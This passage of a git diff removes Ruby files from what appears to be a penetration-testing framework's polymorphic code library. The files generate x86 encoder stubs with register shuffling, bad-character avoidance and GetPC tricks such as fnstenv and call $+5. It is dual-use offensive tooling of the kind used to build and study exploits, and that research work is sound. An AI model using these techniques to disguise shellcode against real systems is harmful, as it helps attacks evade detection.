instance. - # - def rand_perm - perm = nil - - if (@state.badchars) - perm = rand_perm_badchars - else - perm = Permutation.new(@perms[rand(@perms.length)], self) - end - - if (perm.nil?) - raise RuntimeError, "Failed to locate a valid permutation." - end - - perm - end - - # - # Returns a random permutation that passes any necessary bad character - # checks. - # - def rand_perm_badchars - idx = rand(@perms.length) - off = 0 - - while (off < @perms.length) - p = @perms[(idx + off) % @perms.length] - - if (p.kind_of?(Proc) or - @state.badchars.nil? or - Rex::Text.badchar_index(p, @state.badchars).nil?) - return Permutation.new(p, self) - end - - off += 1 - end - end - - # - # Sets the blocks that this block instance depends on. - # - def depends_on(*depends) - @depends = depends.dup - - # Increment dependent references - @depends.each { |b| b.ref } - end - - # - # Defines the next blocks, but not in a dependency fashion but rather in a - # linking of separate block contexts. - # - def next_blocks(*blocks) - @next_blocks = blocks.dup - end - - # - # Defines the list of zero or more LogicalRegister's that this block - # clobbers. - # - def clobbers(*registers) - @clobbers = registers - end - - # - # Enumerates each register instance that is clobbered by this block. - # - def each_clobbers(&block) - @clobbers.each(&block) - end - - # - # Generates the polymorphic buffer that results from this block and any of - # the blocks that it either directly or indirectly depends on. A list of - # register numbers to be saved can be passed in as an argument. - # - # This method is not thread safe. To call this method on a single block - # instance from within multiple threads, be sure to encapsulate the calls - # inside a locked context. - # - def generate(save_registers = nil, state = nil, badchars = nil) - # Create a localized state instance if one was not supplied. - state = Rex::Poly::State.new if (state == nil) - buf = nil - cnt = 0 - - # This is a lame way of doing this. We just try to generate at most 128 - # times until we don't have badchars. The reason we have to do it this - # way is because of the fact that badchars can be introduced through - # block offsetting and register number selection which can't be readily - # predicted or detected during the generation phase. In the future we - # can make this better, but for now this will have to do. - begin - buf = do_generate(save_registers, state, badchars) - - if (buf and - (badchars.nil? or Rex::Text.badchar_index(buf, badchars).nil?)) - break - end - end while ((cnt += 1) < 128) - - # If we passed 128 tries, then we can't succeed. - buf = nil if (cnt >= 128) - - buf - end - - # - # Returns the offset of a block. If the active state for this instance is - # operating in the first phase, then zero is always returned. Otherwise, - # the correct offset for the supplied block is returned. - # - def offset_of(lblock) - if (@state.first_phase) - 0 - else - if (lblock.kind_of?(SymbolicBlock::End)) - @state.curr_offset - else - lblock.offset - end - end - end - - # - # Returns the register number associated with the supplied LogicalRegister - # instance. If the active state for this instance is operating in the - # first phase, then zero is always returned. Otherwise, the correct - # register number is returned based on what is currently assigned to the - # supplied LogicalRegister instance, if anything. - # - def regnum_of(reg) - (@state.first_phase) ? 0 : reg.regnum - end - - def size_of(lblock) - @state.block_list.map { |b, p| - if b == lblock - return p.length - end - } - 0 - end - - # - # This attributes contains the currently assigned offset of the permutation - # associated with this block into the polymorphic buffer that is being - # generated. - # - attr_accessor :offset - - # - # Whether or not this block has currently been generated for a given - # iteration. - # - attr_accessor :generated - -protected - - # - # Performs the actual polymorphic buffer generation. Called from generate - # - def do_generate(save_registers, state, badchars) - # Reset the state in case it was passed in. - state.reset - - # Set the bad character list - state.badchars = badchars if (badchars) - - # Consume any registers that should be saved. - save_registers.each { |reg| - state.consume_regnum(reg) - } if (save_registers) - - # Build the linear list of blocks that will be processed. This - # list is built in a dynamic fashion based on block dependencies. - # The list that is returned is an Array of which each element is a two - # member array, the first element being the LogicalBlock instance that - # the permutation came from and the second being an instance of the - # Permutation class associated with the selected permutation. - block_list = generate_block_list(state) - - # Transition into the second phase which enables offset_of and regnum_of - # calls to return real values. - state.first_phase = false - - # Now that every block has been assigned an offset, generate the - # buffer block by block, assigning registers as necessary. - block_list.each { |b| - - # Generate the next permutation and append it to the buffer. - begin - state.buffer += b[1].to_s - # If an invalid register exception is raised, try to consume a random - # register from the register's associated architecture register - # number set. - rescue InvalidRegisterError => e - e.reg.regnum = state.consume_regnum_from_set(e.reg.class.regnum_set) - retry - end - - # Remove any of the registers that have been clobbered by this block - # from the list of consumed register numbers so that they can be used - # in the future. - b[0].each_clobbers { |reg| - begin - state.defecate_regnum(reg.regnum) - - reg.regnum = nil - rescue InvalidRegisterError - end - } - - } - - # Finally, return the buffer that has been created. - state.buffer - end - - # - # Generates the linear list of block permutations which is stored in the - # supplied state instance. This is done prior to assigning blocks offsets - # - def generate_block_list(state, level=0) - if @depends.length > 1 - @depends.length.times { - f = rand(@depends.length) - @depends.push(@depends.delete_at(f)) - } - end - - @depends.length.times { |cidx| - - pass = false - - while (not pass) - - if (@depends[cidx].generated) - break - - # If this dependent block is a once block and the magic 8 ball turns - # up zero, skip it and let a later block pick it up. We only do this - # if we are not the last block to have a dependency on this block. - elsif ((@depends[cidx].once) and - (rand(2).to_i == 0) and - (@depends[cidx].last_reference? == false)) - break - end - - # Generate this block - @depends[cidx].generate_block_list(state, level+1) - - if level != 0 - return - else - @depends.length.times { - f = rand(@depends.length) - @depends.push(@depends.delete_at(f)) - } - - next - end - end - - next - } - - self.deref - - # Assign the instance local state for the duration of this generation - @state = state - - # Select a random permutation - perm = rand_perm - - # Set our block offset to the current state offset - self.offset = state.curr_offset - - # Flag ourselves as having been generated for this iteration. - self.generated = true - - # Adjust the current offset based on the permutations length - state.curr_offset += perm.length - - # Add it to the linear list of blocks - state.block_list << [ self, perm ] - - # Generate all the blocks that follow this one. - @next_blocks.each { |b| - b.generate_block_list(state) - } - - # Return the state's block list - state.block_list - end - -end - -### -# -# Symbolic blocks are used as special-case LogicalBlock's that have meaning -# a more general meaning. For instance, SymbolicBlock::End can be used to -# symbolize the end of a polymorphic buffer. -# -### -module SymbolicBlock - - ### - # - # The symbolic end of a polymorphic buffer. - # - ### - class End < LogicalBlock - def initialize - super('__SYMBLK_END__') - end - end -end - -end -end diff --git a/lib/rex/poly/machine.rb b/lib/rex/poly/machine.rb deleted file mode 100644 index 152dfb4e69..0000000000 --- a/lib/rex/poly/machine.rb +++ /dev/null @@ -1,13 +0,0 @@ -# -*- coding: binary -*- - -module Rex - - module Poly - - require 'metasm' - require 'rex/poly/machine/machine' - require 'rex/poly/machine/x86' - - end - -end diff --git a/lib/rex/poly/machine/machine.rb b/lib/rex/poly/machine/machine.rb deleted file mode 100644 index 021effa940..0000000000 --- a/lib/rex/poly/machine/machine.rb +++ /dev/null @@ -1,830 +0,0 @@ -# -*- coding: binary -*- - -module Rex - - module Poly - - # - # A machine capable of creating a small blob of code in a metamorphic kind of way. - # Note: this is designed to perform an exhaustive search for a solution and can be - # slow. If you need a speedier option, the origional Rex::Polly::Block stuff is a - # better choice. - # - class Machine - - QWORD = 8 - DWORD = 4 - WORD = 2 - BYTE = 1 - - # - # A Permutation! - # - class Permutation - - attr_accessor :active, :offset - - attr_reader :name, :primitive, :length, :args - - # - # Create a new permutation object. - # - def initialize( name, primitive, machine, source, args=nil ) - @name = name - @primitive = primitive - @machine = machine - @source = source - @args = args - @active = false - @valid = true - @length = 0 - @offset = 0 - @children = ::Array.new - end - - # - # Add in a child permutation to this one. Used to build the permutation tree. - # - def add_child( child ) - @children << child - end - - # - # Does this permutation have children? - # - def has_children? - not @children.empty? - end - - # - # Remove any existing children. Called by the machines generate function - # to build a fresh tree in case generate was previously called. - # - def remove_children - @children.clear - end - - # - # Actully render this permutation into a raw buffer. - # - def render - raw = '' - # Zero the length as we will be rendering the raw buffer and the length may change. - @length = 0 - # If this permutation source is a Primitive/Procedure we can call it, otherwise we have a string - if( @source.kind_of?( Primitive ) or @source.kind_of?( ::Proc ) ) - if( @source.kind_of?( Primitive ) ) - raw = @source.call( @name, @machine, *@args ) - elsif( @source.kind_of?( ::Proc ) ) - raw = @source.call - end - # If the primitive/procedure returned an array, it is an array of assembly strings which we can assemble. - if( raw.kind_of?( ::Array ) ) - lines = raw - raw = '' - # itterate over each line of assembly - lines.each do | asm | - # parse the asm and substitute in any offset values specified... - offsets = asm.scan( /:([\S]+)_offset/ ) - offsets.each do | name, | - asm = asm.gsub( ":#{name}_offset", @machine.block_offset( name ).to_s ) - end - # and substitute in and register values for any variables specified... - regs = asm.scan( /:([\S]+)_reg([\d]+)/ ) - regs.each do | name, size | - asm = asm.gsub( ":#{name}_reg#{size}", @machine.variable_value( name, size.to_i ) ) - end - # assemble it into a raw blob - blob = @machine.assemble( asm ) - #if( not @machine.is_valid?( blob ) ) - # p "#{name}(#{primitive}):#{asm} is invalid" - #end - raw << blob - end - end - else - # the source must just be a static string - raw = @source - end - # Update the length to reflect the new raw buffer - @length = raw.to_s.length - # As the temp variable is only assigned for the duration of a single permutation we - # can now release it if it was used in this permutation. - @machine.release_temp_variable - return raw.to_s - end - - # - # Test if this permutation raw buffer is valid in this machine (e.g. against the badchar list). - # - def is_valid? - result = false - if( @valid ) - begin - result = @machine.is_valid?( self.render ) - rescue UnallowedPermutation - # This permutation is unallowed and can never be rendered so just mark it as - # not valid to skip it during future attempts. - @valid = false - rescue UndefinedPermutation - # allow an undefined permutation to fail validation but keep it marked - # as valid as it may be defined and passed validation later. - ensure - # Should a temporary variable have been assigned we can release it here. - @machine.release_temp_variable - end - end - return result - end - - # - # Try to find a solution within the solution space by performing a depth first search - # into the permutation tree and backtracking when needed. - # - def solve - # Check to see if this permutation can make part of a valid solution - if( self.is_valid? ) - # record this permutation as part of the final solution (the current machines register state is also saved here) - @machine.solution_push( self ) - # If we have no children we are at the end of the tree and have a potential full solution. - if( not self.has_children? ) - # We have a solution but doing a final pass to update offsets may introduce bad chars - # so we test for this and keep searching if this isnt a real solution after all. - if( not @machine.solution_is_valid? ) - # remove this permutation and keep searching - @machine.solution_pop - return false - end - # Return true to unwind the recursive call as we have got a final solution. - return true - end - # Itterate over the children of this permutation (the perutations of the proceeding block). - @children.each do | child | - # Traverse into this child to keep trying to generate a solution... - if( child.solve ) - # Keep returning true to unwind as we are done. - return true - end - end - # If we get here this permutation, origionally thought to be good for a solution, is not after all, - # so remove it from the machines final solution, restoring the register state aswell. - @machine.solution_pop - end - # No children can be made form part of the solution, return failure for this path in the tree. - return false - end - - end - - # - # A symbolic permutation to mark locations like the begining and end of a group of blocks. - # Used to calculate usefull offsets. - # - class SymbolicPermutation < Permutation - def initialize( name, machine, initial_offset=0 ) - super( name, '', machine, '' ) - # fudge the initial symbolic offset with a default (it gets patched correctly later), - # helps with the end symbolic block to not be 0 (as its a forward reference it really - # slows things down if we leave it 0) - @offset = initial_offset - # A symbolic block is allways active! - @active = true - end - - # - # We block all attempts to set the active state of this permutation so as - # it is always true. This lets us always address the offset. - # - def active=( value ) - end - end - - # - # A primitive is a machine defined permutation which accepts some arguments when it is called. - # - class Primitive - - # - # Initialize this primitive with its target source procedure and the machine it belongs to. - # - def initialize( source ) - @source = source - end - - # - # Call the primitives source procedure, passing in the arguments. - # - def call( name, machine, *args ) - return @source.call( name, machine, *args ) - end - - end - - # - # - # - class Block - - #attr_accessor :next, :previous - attr_reader :name - - def initialize( name ) - @name = name - @next = nil - @previous = nil - @permutations = ::Array.new - end - - def shuffle - @permutations = @permutations.shuffle - end - - def solve - @permutations.first.solve - end - - def << ( permutation ) - @permutations << permutation - end - - def each - @permutations.each do | permutation | - yield permutation - end - end - - end - - # - # A class to hold a solution for a Rex::Poly::Machine problem. - # - class Solution - - attr_reader :offset - - def initialize - @permutations = ::Array.new - @reg_state = ::Array.new - @offset = 0 - end - - # - # Reset this solution to an empty state. - # - def reset - @offset = 0 - @permutations.each do | permutation | - permutation.active = false - permutation.offset = 0 - end - @permutations.clear - @reg_state.clear - end - - # - # Push a new permutation onto this solutions permutations list and save the associated register/variables state - # - def push( permutation, reg_available, reg_consumed, variables ) - permutation.active = true - permutation.offset = @offset - @offset += permutation.length - @permutations.push( permutation ) - @reg_state.push( [ [].concat(reg_available), [].concat(reg_consumed), {}.merge(variables) ] ) - end - - # - # Pop off the last permutaion and register/variables state from this solution. - # - def pop - reg_available, reg_consumed, variables = @reg_state.pop - permutation = @permutations.pop - permutation.active = false - permutation.offset = 0 - @offset -= permutation.length - return permutation, reg_available, reg_consumed, variables - end - - # - # Render the final buffer. - # - def buffer - previous_offset = nil - count = 0 - # perform an N-pass fixup for offsets... - while( true ) do - # If we cant get the offsets fixed within a fixed ammount of tries we return - # nil to indicate failure and keep searching for a solution that will work. - if( count > 64 ) - return nil - end - # Reset the solution offset so as to update it for this pass - @offset = 0 - # perform a single pass to ensure we are using the correct offset values - @permutations.each do | permutation | - permutation.offset = @offset - # Note: calling render() can throw both UndefinedPermutation and UnallowedPermutation exceptions, - # however as we assume we only ever return the buffer once a final solution has been generated - # we should never have either of those exceptions thrown. - permutation.render - @offset += permutation.length - end - # If we have generated two consecutive passes which are the same length we can stop fixing up the offsets. - if( not previous_offset.nil? and @offset == previous_offset ) - break - end - count +=1 - previous_offset = @offset - end - # now a final pass to render the solution into the raw buffer - raw = '' - @permutations.each do | permutation | - #$stderr.puts "#{permutation.name} - #{ "0x%08X (%d)" % [ permutation.offset, permutation.length] } " - raw << permutation.render - end - return raw - end - - end - - # - # Create a new machine instance. - # - def initialize( badchars, cpu ) - @badchars = badchars - @cpu = cpu - - @reg_available = ::Array.new - @reg_consumed = ::Array.new - @variables = ::Hash.new - @blocks = ::Hash.new - @primitives = ::Hash.new - @solution = Solution.new - - _create_primitives - - @blocks['begin'] = Block.new( 'begin' ) - @blocks['begin'] << SymbolicPermutation.new( 'begin', self ) - - _create_variable( 'temp' ) - end - - # - # Overloaded by a subclass to return the maximum native general register size supported. - # - def native_size - nil - end - - # - # Use METASM to assemble a line of asm using this machines current cpu. - # - def assemble( asm ) - return Metasm::Shellcode.assemble( @cpu, asm ).encode_string - end - - # - # Check if a data blob is valid against the badchar list (or perform any other validation here) - # - def is_valid?( data ) - if( data.nil? ) - return false - end - return Rex::Text.badchar_index( data, @badchars ).nil? - end - - # - # Generate a 64 bit number whoes bytes are valid in this machine. - # - def make_safe_qword( number=nil ) - return _make_safe_number( QWORD, number ) & 0xFFFFFFFFFFFFFFFF - end - - # - # Generate a 32 bit number whoes bytes are valid in this machine. - # - def make_safe_dword( number=nil ) - return _make_safe_number( DWORD, number ) & 0xFFFFFFFF - end - - # - # Generate a 16 bit number whoes bytes are valid in this machine. - # - def make_safe_word( number=nil ) - return _make_safe_number( WORD, number ) & 0xFFFF - end - - # - # Generate a 8 bit number whoes bytes are valid in this machine. - # - def make_safe_byte( number=nil ) - return _make_safe_number( BYTE, number ) & 0xFF - end - - # - # Create a variable by name which will be assigned a register during generation. We can - # optionally assign a static register value to a variable if needed. - # - def create_variable( name, reg=nil ) - # Sanity check we aren't trying to create one of the reserved variables. - if( name == 'temp' ) - raise RuntimeError, "Unable to create variable, '#{name}' is a reserved variable name." - end - return _create_variable( name, reg ) - end - - # - # If the temp variable was assigned we release it. - # - def release_temp_variable - if( @variables['temp'] ) - regnum = @variables['temp'] - # Sanity check the temp variable was actually assigned (it may not have been if the last permutation didnot use it) - if( regnum ) - # place the assigned register back in the available list for consumption later. - @reg_available.push( @reg_consumed.delete( regnum ) ) - # unasign the temp vars register - @variables['temp'] = nil - return true - end - end - return false - end - - # - # Resolve a variable name into its currently assigned register value. - # - def variable_value( name, size=nil ) - # Sanity check we this variable has been created - if( not @variables.has_key?( name ) ) - raise RuntimeError, "Unknown register '#{name}'." - end - # Pull out its current register value if it has been assigned one - regnum = @variables[ name ] - if( not regnum ) - regnum = @reg_available.pop - if( not regnum ) - raise RuntimeError, "Unable to assign variable '#{name}' a register value, none available." - end - # and add it to the consumed list so we can track it later - @reg_consumed << regnum - # and now assign the variable the register - @variables[ name ] = regnum - end - # resolve the register number int a string representation (e.g. 0 in x86 is EAX if size is 32) - return _register_value( regnum, size ) - end - - # - # Check this solution is still currently valid (as offsets change it may not be). - # - def solution_is_valid? - return self.is_valid?( @solution.buffer ) - end - - # - # As the solution advances we save state for each permutation step in the solution. This lets - # use rewind at a later stage if the solving algorithm wishes to perform some backtracking. - # - def solution_push( permutation ) - @solution.push( permutation, @reg_available, @reg_consumed, @variables ) - end - - # - # Backtrack one step in the solution and restore the register/variable state. - # - def solution_pop - permutation, @reg_available, @reg_consumed, @variables = @solution.pop - - @reg_available.push( @reg_available.shift ) - end - - # - # Create a block by name and add in its list of permutations. - # - # XXX: this doesnt support the fuzzy order of block dependencies ala the origional rex::poly - def create_block( name, *permutation_sources ) - # Sanity check we aren't trying to create one of the reserved symbolic blocks. - if( name == 'begin' or name == 'end' ) - raise RuntimeError, "Unable to add block, '#{name}' is a reserved block name." - end - # If this is the first time this block is being created, create the block object to hold the permutation list - if( not @blocks[name] ) - @blocks[name] = Block.new( name ) - end - # Now create a new permutation object for every one supplied. - permutation_sources.each do | source | - @blocks[name] << Permutation.new( name, '', self, source ) - end - return name - end - - # - # Create a block which is based on a primitive defined by this machine. - # - def create_block_primitive( block_name, primitive_name, *args ) - # Santiy check this primitive is actually available and is not an internal primitive (begins with an _). - if( not @primitives[primitive_name] or primitive_name[0] == "_" ) - raise RuntimeError, "Unable to add block, Primitive '#{primitive_name}' is not available." - end - # Sanity check we aren't trying to create one of the reserved symbolic blocks. - if( block_name == 'begin' or block_name == 'end' ) - raise RuntimeError, "Unable to add block, '#{block_name}' is a reserved block name." - end - return _create_block_primitive( block_name, primitive_name, *args ) - end - - # - # Get the offset for a blocks active permutation. This is easy for backward references as - # they will already have been rendered and their sizes known. For forward references we - # can't know in advance but the correct value can be known later once the final solution is - # available and a final pass to generate the raw buffer is made. - # - def block_offset( name ) - if( name == 'end' ) - return @solution.offset - elsif( @blocks[name] ) - @blocks[name].each do | permutation | - if( permutation.active ) - return permutation.offset - end - end - end - # If we are forward referencing a block it will be at least the current solutions offset +1 - return @solution.offset + 1 - end - - # - # Does a given block exist? - # - def block_exist?( name ) - return @blocks.include?( name ) - end - - # - # Does a given block exist? - # - def variable_exist?( name ) - return @variables.include?( name ) - end - - # XXX: ambiguity between variable names and block name may introduce confusion!!! make them be unique. - - # - # Resolve a given value into either a number literal, a block offset or - # a variables assigned register. - # - def resolve_value( value, size=nil ) - if( block_exist?( value ) ) - return block_offset( value ) - elsif( variable_exist?( value ) ) - return variable_value( value, size ) - end - return value.to_i - end - - # - # Get the block previous to the target block. - # - def block_previous( target_block ) - previous_block = nil - @blocks.each_key do | current_block | - if( current_block == target_block ) - return previous_block - end - previous_block = current_block - end - return nil - end - - # - # Get the block next to the target block. - # - def block_next( target_block ) - @blocks.each_key do | current_block | - if( block_previous( current_block ) == target_block ) - return current_block - end - end - return nil - end - - # - # Try to generate a solution. - # - def generate - - if( @blocks.has_key?( 'end' ) ) - @blocks.delete( 'end' ) - end - - @blocks['end'] = Block.new( 'end' ) - @blocks['end'] << SymbolicPermutation.new( 'end', self, 1 ) - - # Mix up the permutation orders for each block and create the tree structure. - previous = ::Array.new - @blocks.each_value do | block | - # Shuffle the order of the blocks permutations. - block.shuffle - # create the tree by adding the current blocks permutations as children of the previous block. - current = ::Array.new - block.each do | permutation | - permutation.remove_children - previous.each do | prev | - prev.add_child( permutation ) - end - current << permutation - end - previous = current - end - - # Shuffle the order of the available registers - @reg_available = @reg_available.shuffle - - # We must try every permutation of the register orders, so if we fail to - # generate a solution we rotate the available registers to try again with - # a different order. This ensures we perform and exhaustive search. - 0.upto( @reg_available.length - 1 ) do - - @solution.reset - - # Start from the root node in the solution space and generate a - # solution by traversing the solution space's tree structure. - if( @blocks['begin'].solve ) - # Return the solutions buffer (perform a last pass to fixup all offsets)... - return @solution.buffer - end - - @reg_available.push( @reg_available.shift ) - end - - # :( - nil - end - - # - # An UndefinedPermutation exception is raised when a permutation can't render yet - # as the conditions required are not yet satisfied. - # - class UndefinedPermutation < RuntimeError - def initialize( msg=nil ) - super - end - end - - # - # An UnallowedPermutation exception is raised when a permutation can't ever render - # as the conditions supplied are impossible to satisfy. - # - class UnallowedPermutation < RuntimeError - def initialize( msg=nil ) - super - end - end - - # - # An InvalidPermutation exception is raised when a permutation receives a invalid - # argument and cannot continue to render. This is a fatal exception. - # - class InvalidPermutation < RuntimeError - def initialize( msg=nil ) - super - end - end - - protected - - # - # Overloaded by a subclass to resolve a register number into a suitable register - # name for the target architecture. E.g on x64 the register number 0 with size 64 - # would resolve to RCX. Size is nil by default to indicate we want the default - # machine size, e.g. 32bit DWORD on x86 or 64bit QWORD on x64. - # - def _register_value( regnum, size=nil ) - nil - end - - # - # Perform the actual variable creation. - # - def _create_variable( name, reg=nil ) - regnum = nil - # Sanity check this variable has not already been created. - if( @variables[name] ) - raise RuntimeError, "Variable '#{name}' is already created." - end - # If a fixed register is being assigned to this variable then resolve it - if( reg ) - # Resolve the register name into a register number - @reg_available.each do | num | - if( _register_value( num ) == reg.downcase ) - regnum = num - break - end - end - # If an invalid register name was given or the chosen register is not available we must fail. - if( not regnum ) - raise RuntimeError, "Register '#{reg}' is unknown or unavailable." - end - # Sanity check another variable isnt assigned this register - if( @variables.has_value?( regnum ) ) - raise RuntimeError, "Register number '#{regnum}' is already consumed by variable '#{@variables[name]}'." - end - # Finally we consume the register chosen so we dont select it again later. - @reg_consumed << @reg_available.delete( regnum ) - end - # Create the variable and assign it a register number (or nil if not yet assigned) - @variables[name] = regnum - return name - end - - # - # Create a block which is based on a primitive defined by this machine. - # - def _create_block_primitive( block_name, primitive_name, *args ) - # If this is the first time this block is being created, create the array to hold the permutation list - if( not @blocks[block_name] ) - @blocks[block_name] = Block.new( block_name ) - end - # Now create a new permutation object for every one supplied. - @primitives[primitive_name].each do | source | - @blocks[block_name] << Permutation.new( block_name, primitive_name, self, source, args ) - end - return block_name - end - - # - # Overloaded by a subclass to create any primitives available in this machine. - # - def _create_primitives - nil - end - - # - # Rex::Poly::Machine::Primitive - # - def _create_primitive( name, *permutations ) - # If this is the first time this primitive is being created, create the array to hold the permutation list - if( not @primitives[name] ) - @primitives[name] = ::Array.new - end - # Add in the permutation object (Rex::Poly::Machine::Primitive) for every one supplied. - permutations.each do | permutation | - @primitives[name] << Primitive.new( permutation ) - end - end - - # - # Helper function to generate a number whoes byte representation is valid in this - # machine (does not contain any badchars for example). Optionally we can supply a - # number and the resulting addition/subtraction of this number against the newly - # generated value is also tested for validity. This helps in the assembly primitives - # which can use these values. - # - def _make_safe_number( bytes, number=nil ) - format = '' - if( bytes == BYTE ) - format = 'C' - elsif( bytes == WORD ) - format = 'v' - elsif( bytes == DWORD ) - format = 'V' - elsif( bytes == QWORD ) - format = 'Q' - else - raise RuntimeError, "Invalid size '#{bytes}' used in _make_safe_number." - end - - goodchars = (0..255).to_a - - @badchars.unpack( 'C*' ).each do | b | - goodchars.delete( b.chr ) - end - - while( true ) do - value = 0 - - 0.upto( bytes-1 ) do | i | - value |= ( (goodchars[ rand(goodchars.length) ] << i*8) & (0xFF << i*8) ) - end - - if( not is_valid?( [ value ].pack(format) ) or not is_valid?( [ ~value ].pack(format) ) ) - redo - end - - if( not number.nil? ) - if( not is_valid?( [ value + number ].pack(format) ) or not is_valid?( [ value - number ].pack(format) ) ) - redo - end - end - - break - end - - return value - end - - end - - end - -end diff --git a/lib/rex/poly/machine/x86.rb b/lib/rex/poly/machine/x86.rb deleted file mode 100644 index cedc8cd148..0000000000 --- a/lib/rex/poly/machine/x86.rb +++ /dev/null @@ -1,509 +0,0 @@ -# -*- coding: binary -*- - -module Rex - - module Poly - - # - # A subclass to represent a Rex poly machine on the x86 architecture. - # - class MachineX86 < Rex::Poly::Machine - - def initialize( badchars='', consume_base_pointer=nil, consume_stack_pointer=true ) - super( badchars, Metasm::Ia32.new ) - - @reg_available << Rex::Arch::X86::EAX - @reg_available << Rex::Arch::X86::EBX - @reg_available << Rex::Arch::X86::ECX - @reg_available << Rex::Arch::X86::EDX - @reg_available << Rex::Arch::X86::ESI - @reg_available << Rex::Arch::X86::EDI - @reg_available << Rex::Arch::X86::EBP - @reg_available << Rex::Arch::X86::ESP - - # By default we consume the EBP register if badchars contains \x00. This helps speed - # things up greatly as many instructions opperating on EBP introduce a NULL byte. For - # example, a MOV instruction with EAX as the source operand is as follows: - # 8B08 mov ecx, [eax] - # but the same instruction with EBP as the source operand is as follows: - # 8B4D00 mov ecx, [ebp] ; This is assembled as 'mov ecx, [ebp+0]' - # we can see that EBP is encoded differently with an offset included. We can still - # try to generate a solution with EBP included and \x00 in the badchars list but - # it can take considerably longer. - if( ( consume_base_pointer.nil? and not Rex::Text.badchar_index( "\x00", @badchars ).nil? ) or consume_base_pointer == true ) - create_variable( 'base_pointer', 'ebp' ) - end - - # By default we consume the ESP register to avoid munging the stack. - if( consume_stack_pointer ) - create_variable( 'stack_pointer', 'esp' ) - end - - # discover all the safe FPU instruction we can use. - @safe_fpu_instructions = ::Array.new - Rex::Arch::X86.fpu_instructions.each do | fpu | - if( is_valid?( fpu ) ) - @safe_fpu_instructions << fpu - end - end - end - - # - # The general purpose registers are 32bit - # - def native_size - Rex::Poly::Machine::DWORD - end - - # - # Overload this method to intercept the 'set' primitive with the 'location' keyword - # and create the block with the '_set_variable_location'. We do this to keep a - # consistent style. - # - def create_block_primitive( block_name, primitive_name, *args ) - if( primitive_name == 'set' and args.length == 2 and args[1] == 'location' ) - _create_block_primitive( block_name, '_set_variable_location', args[0] ) - else - super - end - end - - # - # XXX: If we have a loop primitive, it is a decent speed bump to force the associated variable - # of the first loop primitive to be assigned as ECX (for the x86 LOOP instruction), this is not - # neccasary but can speed generation up significantly. - # - #def generate - # @blocks.each_value do | block | - # if( block.first.primitive == 'loop' ) - # @variables.delete( block.first.args.first ) - # create_variable( block.first.args.first, 'ecx' ) - # break - # end - # end - # # ...go go go - # super - #end - - protected - - # - # Resolve a register number into a suitable register name. - # - def _register_value( regnum, size=nil ) - value = nil - # we default to a native 32 bits if no size is specified. - if( size.nil? ) - size = native_size() - end - - if( size == Rex::Poly::Machine::DWORD ) - value = Rex::Arch::X86::REG_NAMES32[ regnum ] - elsif( size == Rex::Poly::Machine::WORD ) - value = Rex::Arch::X86::REG_NAMES16[ regnum ] - elsif( size == Rex::Poly::Machine::BYTE ) - # (will return nil for ESI,EDI,EBP,ESP) - value = Rex::Arch::X86::REG_NAMES8L[ regnum ] - else - raise RuntimeError, "Register number '#{regnum}' (size #{size.to_i}) is unavailable." - end - return value - end - - # - # Create the x86 primitives. - # - def _create_primitives - - # - # Create the '_set_variable_location' primitive. The first param it the variable to place the current - # blocks location value in. - # - _create_primitive( '_set_variable_location', - ::Proc.new do | block, machine, variable | - if( @safe_fpu_instructions.empty? ) - raise UnallowedPermutation - end - [ - "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", - "mov #{machine.variable_value( 'temp' )}, esp", - "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", - "pop #{machine.variable_value( variable )}" - ] - end, - ::Proc.new do | block, machine, variable | - if( @safe_fpu_instructions.empty? ) - raise UnallowedPermutation - end - [ - "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", - "mov #{machine.variable_value( 'temp' )}, esp", - "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", - "pop #{machine.variable_value( variable )}" - ] - end, - ::Proc.new do | block, machine, variable | - if( @safe_fpu_instructions.empty? ) - raise UnallowedPermutation - end - [ - "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", - "push esp", - "pop #{machine.variable_value( 'temp' )}", - "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", - "pop #{machine.variable_value( variable )}" - ] - end, - ::Proc.new do | block, machine, variable | - if( @safe_fpu_instructions.empty? ) - raise UnallowedPermutation - end - [ - "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", - "fnstenv [ esp - 12 ]", - "pop #{machine.variable_value( variable )}" - ] - end, - ::Proc.new do | block, machine, variable | - [ - "call $+5", - "pop #{machine.variable_value( variable )}", - "push #{machine.block_offset( block ) + 5}", - "pop #{machine.variable_value( 'temp' )}", - "sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" - ] - end, - ::Proc.new do | block, machine, variable | - [ - "db 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0", - "pop #{machine.variable_value( variable )}", - "push #{machine.block_offset( block ) + 5}", - "pop #{machine.variable_value( 'temp' )}", - "sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" - ] - end - ) - - # - # Create the 'loop' primitive. The first param it the counter variable which holds the number of - # times to perform the loop. The second param it the destination block to loop to. - # - _create_primitive( 'loop', - ::Proc.new do | block, machine, counter, destination | - if( machine.variable_value( counter ) != Rex::Arch::X86::REG_NAMES32[ Rex::Arch::X86::ECX ] ) - # we raise and UndefinedPermutation exception to indicate that untill a valid register (ECX) is - # chosen we simply can't render this. This lets the machine know we can still try to use this - # permutation and at a later stage the requirements (counter==ecx) may be satisfied. - raise UndefinedPermutation - end - offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) - Rex::Arch::X86.loop( offset ) - end, - ::Proc.new do | block, machine, counter, destination | - offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) - [ - "dec #{machine.variable_value( counter )}", - "test #{machine.variable_value( counter )}, #{machine.variable_value( counter )}", - # JNZ destination - "db 0x0F, 0x85 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }" - ] - end - ) - - # - # Create the 'xor' primitive. The first param it the variable to xor with the second param value which - # can be either a variable, literal or block offset. - # - _create_primitive( 'xor', - ::Proc.new do | block, machine, variable, value | - [ - "xor #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" - ] - end, - ::Proc.new do | block, machine, variable, value | - # a ^ b == (a | b) & ~(a & b) - [ - "mov #{machine.variable_value( 'temp' )}, #{machine.variable_value( variable )}", - "or #{machine.variable_value( 'temp' )}, 